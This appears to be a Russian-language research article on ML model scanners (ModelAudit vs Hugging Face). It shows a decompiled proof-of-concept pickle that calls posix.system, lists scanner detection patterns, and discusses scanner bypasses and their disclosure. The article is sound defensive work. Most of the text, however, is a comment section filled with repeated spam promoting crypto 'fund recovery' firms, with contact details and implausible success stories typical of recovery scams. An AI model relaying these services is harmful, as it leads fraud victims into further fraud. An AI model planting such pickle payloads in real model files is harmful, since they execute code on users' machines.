Сразу 4 критических сработки, которые изначально сканер пропустил, потому что просто не применил проверки, соответствующие ZIP-архивам (хотя подходящие проверки уже встроены в инструмент).

Получается у нас есть Pickle файл, который ModelAudit подсвечивает несколькими критическими ошибками. Но может это просто очередные FP и вообще какая именно зловредная логика в него заложена?

С этим нам поможет Fickling – он помимо проверки Pickle файлов позволяет произвести символическую десериализацию с последующей декомпиляцией (другие особенности Fickling описал в предыдущей статье):

> fickling --trace .\assets\cloned_models\etwithin_diffusers-ckpt-ace-poc\data.pkl
PROTO
EMPTY_DICT
        Pushed {}
BINPUT
        Memoized 0 -> {}
MARK

... <СОКРАЩЕНО> ...

from torch._utils import _rebuild_tensor_v2
from torch import FloatStorage
from collections import OrderedDict
_var0 = OrderedDict()
_var1 = _rebuild_tensor_v2(UNPICKLER.persistent_load(('storage', FloatStorage, '0', 'cpu', 11520)), 0, (320, 4, 3, 3), (36, 9, 3, 1), False, _var0)
from posix import system
_var2 = system('echo DIFFUSERS_ACE_PROOF > /tmp/diffusers_ace_proof.txt')
result0 = {'global_step': 1, 'state_dict': {'model.diffusion_model.input_blocks.0.0.weight': _var1}, 'payload': _var2}

По результатам декомпиляции видно, что этот файл при десериализации импортирует функцию system для выполнения команд в системной оболочке из модуля posix и выполняет bash-скрипт, перезаписывающий файл расположенный по пути /tmp/diffusers_ace_proof.txt. Такая полезная нагрузка представлена просто как PoC, естественно на ее месте мог быть любой другой скрипт, с более интересной и опасной механикой работы.

Подведем промежуточные итоги:

Все отобранные модели, которые были помечены опасными на Hugging Face сканер ModelAudit в версии 0.2.31 тоже рассчитал как опасные
Для ModelAudit в процессе сканирования могут вызывать сложности расширения, имеющие разные значения в зависимости от контекста
26 моделей прошли все встроенные в Hugging Face проверки, но ModelAudit пометил их опасными

ModelAudit сигнализирует об опасности, но HuggingFace пропускает

Рассмотрим теперь те случаи, когда только ModelAudit посчитал модель опасной и для краткости сфокусируемся исключительно на тех моделях, которые получили хотя бы одну сработку критического уровня, к таковым относятся следующие модели:

[
	"AgentRen/hdf5-h5hl-fl-deserialize-hbo-poc",
	"treforbenbow/tensorrt-engine-rce-poc",
	"an0n3/joblib-rce-poc",
	"0xiviel/poc-coremltools-rce",
	"etwithin/mlflow-scanner-bypass-poc",
	"etwithin/zip-scanner-bypass-poc",
	"etwithin/joblib-scanner-bypass-poc",
	"Madhan-Alagarsamy/Cache-Poisoning",
	"etwithin/pickle-scanner-bypass-poc",
	"optimus-fulcria/modelscan-h5-bypass-poc"
]

Набравшись опыта, анализ этих моделей я начал с пересканирования актуальной версией ModelAudit, ожидая увидеть в результатах как минимум то же или даже возросшее число критических сработок, но по факту одна из моделей даже утратила свою единственную сработку и теперь по версии и ModelAudit, и Hugging Face модель отмечается безопасной.

treforbenbow/tensorrt-engine-rce-poc
После изучения кода стало ясно – в более старых версиях в сканер .\modelaudit\scanners\tensorrt_scanner.py была заложена довольно примитивная логика проверки вхождения паттернов в виде строк в единый, считанный из файла набор данных:

SUSPICIOUS_PATTERNS = [
    b"/tmp/",
    b"../",
    b".so",
    b"python",
    b"import",
    b"exec",
    b"eval",
]

...

        for pattern in SUSPICIOUS_PATTERNS:
            if pattern in data:
                result.add_check(
                    name="Suspicious Pattern Detection",
                    passed=False,
                    message=f"Suspicious pattern '{pattern.decode('utf-8', 'ignore')}' found",
                    severity=IssueSeverity.CRITICAL,
                    location=path,
                    details={"pattern": pattern.decode("utf-8", "ignore")},
                )

После обновлений изменились паттерны (вероятно такие проверки были слишком "шумными") и их поиск теперь производится по отдельным строкам.

Накладывая новую логику сканирования на модель treforbenbow/tensorrt-engine-rce-poc выяснилось, что среди прочих полученных из файла строк оказались следующие: "TensorRT Engine RCE PoC - Code executed via embedded plugin LoadLibrary()\n", "PID: %d\n", "\n[!] TensorRT RCE PoC: Arbitrary code executed via embedded plugin!\n". На них сканер в новой версии не срабатывает, в отличии от предшествующей версии.

Данные строки больше похожи на комментарии, чем на паттерны, сигнализирующие о выполнении вложенного кода. Поэтому тот факт, что сканер в новой версии не триггерится на эти строки можно считать движением вперед, но, определенно, необходимы другие проверки наличия вложенных в файл опасных объектов.

Используя такую технику можно обойти механизм сканирования ModelAudit. Согласно его политике безопасности в числе прочего уязвимостями считаются такие недостатки, которые позволяют обойти гарантированные проверки.

В документации по связанному сканеру нет заявлений о детектировании вложенных .dll моделей, но зато прописан поиск вложенных разделяемых библиотек (к которым относится и .dll) с фокусом на линуксовые .so:

Вдобавок политика запрещает открывать публичные "GitHub issue" для исправления недостатков:

Do not open a public GitHub issue. Public disclosure of unpatched vulnerabilities puts all ModelAudit users at risk. If this happens, maintainers may close the issue, redact sensitive details when possible, and redirect you to private reporting channels.

Нельзя – так нельзя. Не отступая от правил заполняю отчет по найденной уязвимости и наблюдаю за развитием событий. Через какое-то время появилось исправление – CHANGELOG.md.

Мне показались интересной первая реакция на отчет по уязвимости – после его отправки бот mldangelo-oai (ботом его считаю судя по суффиксу -oai и количеству коммитов) создал приватную ветку в репозитории modelaudit и сам сгенерировал исправления. Другой агент начал проверку, но она завершилось ошибкой:

Есть ли вообще люди в репозитории ModelAudit? Открываем страницу с дашбордом по количеству коммитов за последний месяц и видим:

mldangelo - это GitHub аккаунт сооснователя и технического директора Promptfoo (ModelAudit является компонентом Promptfoo) Майкла Д'Анджело, по косвенным признакам складывается впечатление, что mldangelo-oai является аккаунтом кодинг-агента Майкла. Все остальные аккаунты из топ-8 тоже подобны ботам/агентам от разных провайдеров.

Оказывается ModelAudit больше поддерживается различными агентами, чем людьми и при этом является мощным конкурентом для аналогичных сканеров с открытым исходным кодом. Увидев такой уровень использования различных AI-агентов, я озадачился изучением способов их оркестрации, первыми заметками буду делиться в своем tg-канале BorZaseka.

Возвращаясь к сравнению результатов сканирования шустро пройдемся по остальным 9 моделям, которых опасными подсветил только ModelAudit.

AgentRen/hdf5-h5hl-fl-deserialize-hbo-poc
Из описания репозитория модели:

This repo contains a malicious HDF5 file (malicious.h5) associated with upstream HDFGroup/hdf5 issue #5382 (reported against v1.14.6): heap-buffer-overflow in H5HL__fl_deserialize.

Критические сработки ModelAudit

  {
    "model_id": "AgentRen/hdf5-h5hl-fl-deserialize-hbo-poc",
    "status": "scanned",
    "issues": [
      {
        "message": "Error scanning Keras H5 file: Link iteration failed (incorrect cache entry type)",
        "severity": "IssueSeverity.CRITICAL",
        "location": ".\\AgentRen_hdf5-h5hl-fl-deserialize-hbo-poc\\malicious.h5",
        "details": {
          "exception": "Link iteration failed (incorrect cache entry type)",
          "exception_type": "RuntimeError"
        },
        "why": "Scanning errors may indicate corrupted files, unsupported formats, or malicious content designed to crash security tools.",
        "timestamp": 1775382501.2975092,
        "type": "keras_h5_check",
        "rule_code": "S1005"
      },
      {
        "message": "Error scanning Keras H5 file: Link iteration failed (incorrect cache entry type)",
        "severity": "IssueSeverity.CRITICAL",
        "location": ".\\AgentRen_hdf5-h5hl-fl-deserialize-hbo-poc\\malicious.h5.zip:H5HL__fl_deserialize-hbo",
        "details": {
          "exception": "Link iteration failed (incorrect cache entry type)",
          "exception_type": "RuntimeError",
          "zip_entry": "H5HL__fl_deserialize-hbo"
        },
        "why": "Scanning errors may indicate corrupted files, unsupported formats, or malicious content designed to crash security tools.",
        "timestamp": 1775382501.5814996,
        "type": "keras_h5_check",
        "rule_code": "S1005"
      }
    ],
    "scanner_names": "['keras_h5', 'zip', 'metadata']",
    "downloads_per_month": 0
  },

Вывод - это True Positive сработка 🗿

Остальные модели на самом деле и так были отмечены опасными на HF, ошибка оказалась в моем алгоритме получения результатов проверок моделей из Hugging Face.

Итоги сравнения результатов сканирования ModelAudit и с встроенными в HF проверками
Если учесть все ложноотрицательные сработки ModelAudit исправленные в новых версиях вместе с теми, которые по ошибке не доносятся из HF, то получим следующую матрицу:

Как видно, все модели, которые были отмечены опасными по итогу встроенных в HF проверок так же оценены и сканером ModelAudit, помимо этого есть 17 моделей, которые по версии ModelAudit имеют хотя бы одну опасную сработку (info/warning/critical) и не имеют ни одного предупреждения от Hugging Face.

Выводы

Коротко и честно:

Не так я себе всё представлял, когда мы начинали

И правда ведь, начиналось всё это, как казалось, небольшое исследование с довольно простой идеи – давайте возьмем сканер который забыли интегрировать в Hugging Face и просканируем им тонну-другую ML-моделей, найдем множество зловредных и вместе ужаснемся.

Далее стало ясно – либо ModelAudit слеп в той же степени как и стандартные проверки в Hugging Face, либо действительно опасных моделей не так уж и много. Эксперименты были доработаны, в качестве целей выбраны наиболее подверженные риску форматы хранения, но все равно большинство сработок оказались ложноположительными, пришлось анализировать их. Впрочем это тоже результат.

Разбирать ложные сработки стало скучно, а в памяти из первой статьи все еще держалась мысль – ModelAudit обойти сложнее всего. Тогда сравним его с чем-то аналогичным и ответим на вопрос - можно ли обойтись всего одним инструментом, решительно закрыв им основные риски?

Из этого этапа я сделал следующие выводы:

ModelAudit в преобладающем числе случаев находит сработки в тех моделях, которые были отмечены опасными другими инструментами, генерируемые им предупреждения легко интерпретируются и даже позволяют найти соответствующий исходный код связанной проверки
Глубокое сравнение артефактов работы двух сложных механизмов, выполняющих одну функцию, позволяет по отклонениям довольно легко находить неочевидные недостатки в работе этих механизмов, даже без предварительного погружения в их устройство
~~Всё кончено - сканеры ML-моделей модифицируются и поддерживаются теми же моделями~~

P.S.: Выражаю благодарность за помощь в доработке статьи Сабрине Садиех, автору канала Data Blog

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29 апр. 2026 г.

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15.06.26 16:34 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.06.26 16:34 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.06.26 16:41 Louane Mercier

It is crucial to act quickly and consult a reputable, experienced recovery specialist who will support you throughout the entire recovery process. You must provide them with transaction evidence, scammer information, and any other relevant details that could aid the investigation. With this data, the experts can trace and attempt to recover your funds from the scammers' concealed accounts or wallets. R£sQprofirm company offers recovery assistance with no upfront fees. Contact them via Telegram (@ResQprofirm), WhatsApp (+19852969146), or email ([email protected]).
15.06.26 16:45 Andrés Montero

I’m open about my experience with Bitcoin investment and losing money to scammers. That said, it is possible to recover stolen Bitcoin. I used to think recovery was impossible because that’s what I had been told. But last October, I fell for a forex scam promising extremely high returns and ended up losing nearly $87,600. After searching for help for a month, I came across a Reddit article about recovering stolen cryptocurrency. I reached out to the contact provided: [email protected] and WhatsApp +19852969146. I was scared and skeptical, having heard many bad stories, but I decided to give them a try. To my amazement, I got all my stolen Bitcoin back within a very short time. I’m not sure if I’m allowed to post links here, but you can reach out to them if you also need help.
15.06.26 16:48 Olivia Sørensen

Several months ago, investing in Bitcoin proved to be one of my most lucrative endeavors. I achieved considerable profits across multiple platforms and felt a strong sense of accomplishment. Unfortunately, the situation deteriorated when I inadvertently engaged with a fraudulent Bitcoin platform. This entity swindled me out of $92,000 USD, refused to honor my withdrawal requests, and persistently demanded further deposits. Fortunately, I encountered (R£SQPRO FIRM) online. After reporting my case to them, they acted promptly and effectively recovered my lost Bitcoin. I am sincerely grateful for their professionalism and continuous assistance. Contact: ResQprofirm AT aol.com, Telegram @resqprofirm, WhatsApp +1 9 8 5 2 9 6 9 1 4 6.
15.06.26 16:51 Viljar Yohannes

I'm willing to share my experience with Bitcoin investment and losing money to scammers. But yes, recovering stolen Bitcoin is possible. I never believed in Bitcoin recovery myself, because I was told it couldn't be done. Then, last October, I fell for a forex scam that promised unrealistically high returns, and I ended up losing nearly $70,000. I searched for help for about a month until I finally found a Reddit article about recovering stolen cryptocurrency. I reached out to the contact mentioned: [RESQPROFIRM [at] AOL DOT com] and [WhatsApp +19852969146]. I was scared and skeptical because I'd heard horror stories, but I decided to give them a try. To my surprise, I got all my stolen Bitcoin back from the scammers in a very short time. I'm not sure if I'm allowed to post links here, but you can contact them if you need help too.
15.06.26 16:58 Guimar da Rosa

Withdrawal troubles shouldn’t stress you out. I faced a similar problem, and this firm stepped in and recovered my funds. Their support truly mattered. Contact them: [ResQProFirm @aol.com] telegram @resqprofirm, WhatsApp: <+198> <5296> <9146>.
15.06.26 17:03 Andrea Escalante

If withdrawals keep getting denied, stay calm. I went through the same, and this firm helped me recover everything. Their assistance was outstanding. Contact: [[email protected]], Telegram: ResQprofirm, WhatsApp: <+198> <5296> <9146>. Withdrawal troubles shouldn’t
16.06.26 11:40 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
16.06.26 11:43 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
16.06.26 13:37 Felix Steve

MY CRYPTO WAS STOLEN – HERE'S HOW I GOT IT BACK I'm Felix Steve from Canada, and I lost $115,000 USDC to a fraudulent broker who locked me out of my wallet. After sleepless nights, a friend told me about RESQPROFIRM Recovery Service. I sent them my wallet addresses, transaction history, and chat logs. Their team used blockchain tracking to trace the stolen funds, identified the scammer's wallet, and froze the assets before they could be moved. Within 24 hours, most of my crypto was recovered. I can't thank them enough. If you need help, reach out via WhatsApp: +19852969146, email: [email protected], or TG: @resqprofirm.
16.06.26 13:45 Wills ben

SUCCESSFUL CRYPTO SCAM RECOVERY – HOW I REGAINED ACCESS TO MY LOST WALLET My name is Felix Steve, and I'm from Canada. I'm sharing my story to help others who have fallen victim to crypto fraud. A few months ago, I was lured into a fake investment scheme promoted by a broker company. With Bitcoin prices climbing, I invested heavily—only to lose $115,000 USDC when the broker locked me out of my wallet and assets. It was a harrowing experience that left me sleepless and desperate. Crypto scams are on the rise, often involving bogus trading platforms, phishing, and misleading promises. In my search for help, a fellow crypto enthusiast recommended RESQPROFIRM Recovery Service, which specializes in recovering lost or stolen funds. After checking their reviews, I reached out and supplied all the evidence—wallet addresses, transaction records, and communication logs. Their team responded immediately and launched an investigation. Using advanced blockchain tracking, they traced the stolen funds, pinpointed the scammer's wallet, and worked with authorities to freeze the assets in time. Remarkably, within just 24 hours, RESQPROFIRM recovered the bulk of my stolen crypto. I was overwhelmed with relief and gratitude. Their professionalism, transparency, and steady communication made all the difference during a very dark period. If you've been scammed, I wholeheartedly recommend contacting them via WhatsApp: +19852969146, email: [email protected], or Telegram: @resqprofirm.
18.06.26 13:31 Noemi Bernard

I never expected such outstanding results. The outcome far exceeded my expectations, and I am extremely satisfied with the successful recovery of my stolen funds totaling $49,360 from my blockchain wallet. I hold this team in the highest regard. Without a doubt, they are among the most dedicated professionals in the field of fund recovery. Keep up the exceptional work! Email: [email protected] WhatsApp: +1 985 296 9146
18.06.26 13:35 Carter Morris

My experience improved significantly thanks to ResQprofirm's expert assistance and attentive customer care. Their professionalism was evident every step of the way they were able to track and recover my stolen crypto $88,360, email: [email protected], WhatsApp +19852969146.
18.06.26 13:40 Kuybida Andriyiv

I recovered my $232,000 refund through the assistance of [email protected] and WhatsApp +19852969146. Their guidance was very helpful.
20.06.26 14:57 michaeldavenport218

I was recently scammed out of $53,000 by a fraudulent Bitcoin investment scheme, which added significant stress to my already difficult health issues, as I was also facing cancer surgery expenses. Desperate to recover my funds, I spent hours researching and consulting other victims, which led me to discover the excellent reputation of Capital Crypto Recover, I came across a Google post It was only after spending many hours researching and asking other victims for advice that I discovered Capital Crypto Recovery’s stellar reputation. I decided to contact them because of their successful recovery record and encouraging client testimonials. I had no idea that this would be the pivotal moment in my fight against cryptocurrency theft. Thanks to their expert team, I was able to recover my lost cryptocurrency back. The process was intricate, but Capital Crypto Recovery's commitment to utilizing the latest technology ensured a successful outcome. I highly recommend their services to anyone who has fallen victim to cryptocurrency fraud. For assistance contact [email protected] and on Telegram OR Call Number +1 (336)390-6684 via email: [email protected] you can visit his website: https://recovercapital.wixsite.com/capital-crypto-rec-1
20.06.26 14:57 michaeldavenport218

I was recently scammed out of $53,000 by a fraudulent Bitcoin investment scheme, which added significant stress to my already difficult health issues, as I was also facing cancer surgery expenses. Desperate to recover my funds, I spent hours researching and consulting other victims, which led me to discover the excellent reputation of Capital Crypto Recover, I came across a Google post It was only after spending many hours researching and asking other victims for advice that I discovered Capital Crypto Recovery’s stellar reputation. I decided to contact them because of their successful recovery record and encouraging client testimonials. I had no idea that this would be the pivotal moment in my fight against cryptocurrency theft. Thanks to their expert team, I was able to recover my lost cryptocurrency back. The process was intricate, but Capital Crypto Recovery's commitment to utilizing the latest technology ensured a successful outcome. I highly recommend their services to anyone who has fallen victim to cryptocurrency fraud. For assistance contact [email protected] and on Telegram OR Call Number +1 (336)390-6684 via email: [email protected] you can visit his website: https://recovercapital.wixsite.com/capital-crypto-rec-1
21.06.26 11:09 Maurizio Rolland

I would like to express my sincere appreciation to RESQPRO FIRM for their outstanding assistance in helping victims of online fraud. Many scammers deceive investors by blocking withdrawals and continuously demanding additional deposits, making the loss of hard-earned funds a painful experience. Fortunately, RESQPRO FIRM provides support to individuals seeking to recover funds lost to fraudulent online schemes. Contact: Email: RESQPRO FIRM at Gmail Telegram: RESQPROFIRM, [email protected], WhatsApp: +1 985 296 9146
21.06.26 11:13 Buse Fahri

It is important for more people to stand together in the fight against online fraud. Those who target innocent individuals especially vulnerable people such as seniors should be held fully accountable for their actions. Every effort to raise awareness and support victims makes a meaningful difference. The team at RESQPRO FIRM is committed to helping expose fraudulent schemes and assisting those affected by online scams. Their dedication, persistence, and passion for protecting victims are truly commendable. I sincerely appreciate the hard work and commitment shown toward this mission. Together, we can continue to educate others, support victims, and work toward a safer online environment for everyone. Contact Information: Telegram: RESQPROFIRM WhatsApp: +1 985 296 9146 Email: [email protected], [email protected]
21.06.26 11:16 علیرضا گلشن

The successful recovery of my stolen funds, totaling $1,310,000, would not have been possible without your unwavering support, dedication, and tireless efforts. I am truly grateful for the opportunity to work with such a skilled and professional team. From the very beginning, I had confidence in your ability to handle this challenging situation, and you exceeded my expectations by delivering remarkable results. Your expertise, persistence, and commitment throughout the process were exceptional. I encourage you to continue maintaining the high standards of professionalism and excellence that distinguish your work. You exemplify the qualities of a trustworthy, dedicated, and hardworking professional, and your efforts deserve sincere recognition and appreciation. Contact: Email: [email protected], [email protected], Telegram: Resqprofirm WhatsApp: +1 985 296 9146
22.06.26 21:51 kimberlyhebert786

I invested in bitcoin trading After losing $78.4 USDT) linked to a romance fraud scam worth of cryptocurrency through an online investment platform and later discovered it was a scam. After extensive research for recovery options, I contacted CAPITAL CRYPTO RECOVER based on positive client reviews and recommendations. Their professional security team guided me through the recovery process using advanced technology, and I was able to recover my lost cryptocurrency successfully. I am truly grateful for their support and assistance during such a difficult experience. I will advise you to contact CAPITAL CRYPTO RECOVER helped me recover my funds. For anyone facing similar issues, Website: https://recovercapital.wixsite.com/capital-crypto-rec-1 Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text Number: +1 (336) 390-6684
22.06.26 21:51 kimberlyhebert786

I invested in bitcoin trading After losing $78.4 USDT) linked to a romance fraud scam worth of cryptocurrency through an online investment platform and later discovered it was a scam. After extensive research for recovery options, I contacted CAPITAL CRYPTO RECOVER based on positive client reviews and recommendations. Their professional security team guided me through the recovery process using advanced technology, and I was able to recover my lost cryptocurrency successfully. I am truly grateful for their support and assistance during such a difficult experience. I will advise you to contact CAPITAL CRYPTO RECOVER helped me recover my funds. For anyone facing similar issues, Website: https://recovercapital.wixsite.com/capital-crypto-rec-1 Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text Number: +1 (336) 390-6684
24.06.26 01:25 Fraddy Pual

I never thought it would happen to me—but I lost $256,100 in Bitcoin through a shady investment deal. I was shattered, panicked, and convinced my savings were gone forever. Just when I was about to give up, I stumbled upon reviews for FUNDSRETRIEVER, a cyber recovery team with a solid reputation. I decided to give it a shot, and to my absolute shock, they recovered every single cent in record time. Working with them was a lifesaver. If you've been tricked by fake investment platforms, don't lose hope—FUNDSRETRIEVER can help. Contact them here: Email: [email protected] | WhatsApp: +1603512144 8| Telegram: @Fundsretriever
24.06.26 01:27 Fraddy Pual

I never thought it would happen to me—but I lost $256,100 in Bitcoin through a shady investment deal. I was shattered, panicked, and convinced my savings were gone forever. Just when I was about to give up, I stumbled upon reviews for FUNDSRETRIEVER, a cyber recovery team with a solid reputation. I decided to give it a shot, and to my absolute shock, they recovered every single cent in record time. Working with them was a lifesaver. If you've been tricked by fake investment platforms, don't lose hope—FUNDSRETRIEVER can help. Contact them here: Email: [email protected] | WhatsApp: +16035121448 | Telegram: @Fundsretriever
24.06.26 01:28 Fraddy Pual

I never thought it would happen to me—but I lost $256,100 in Bitcoin through a shady investment deal. I was shattered, panicked, and convinced my savings were gone forever. Just when I was about to give up, I stumbled upon reviews for FUNDSRETRIEVER, a cyber recovery team with a solid reputation. I decided to give it a shot, and to my absolute shock, they recovered every single cent in record time. Working with them was a lifesaver. If you've been tricked by fake investment platforms, don't lose hope—FUNDSRETRIEVER can help. Contact them here: Email: [email protected] | WhatsApp: +16035121448 | Telegram: @Fundsretriever.
24.06.26 01:58 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
24.06.26 01:58 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
24.06.26 14:16 Universina da Mota

Becoming a victim of an investment scam is never anyone's intention it often happens because fraudsters exploit trust and a lack of awareness. I would like to express my sincere gratitude to the dedicated team at ResQpro for their professionalism and commitment to helping victims of online investment fraud. Their efforts in assisting individuals with the recovery of stolen assets and holding scammers accountable are truly commendable. If you need assistance or would like to learn more, you can contact them through: Email: [email protected] Alternative Email: [email protected] Telegram: @ResQprofirm WhatsApp: +1 (985) 296-9146
24.06.26 14:21 Elizabeth Thompson

If you believe you have been the victim of an investment scam, it is important to act promptly and gather all relevant information. Keep records of transaction receipts, wallet addresses, communication logs, account details, and any other evidence related to the incident. Providing accurate documentation can help investigators, financial institutions, legal professionals, or recovery specialists review your case and determine what options may be available. Be cautious of anyone who guarantees the recovery of lost funds or requests large upfront payments. For additional information, you may contact: Email: [email protected] Telegram: @ResQprofirm WhatsApp: +1 (985) 296-9146
24.06.26 15:33 Júlia Castro

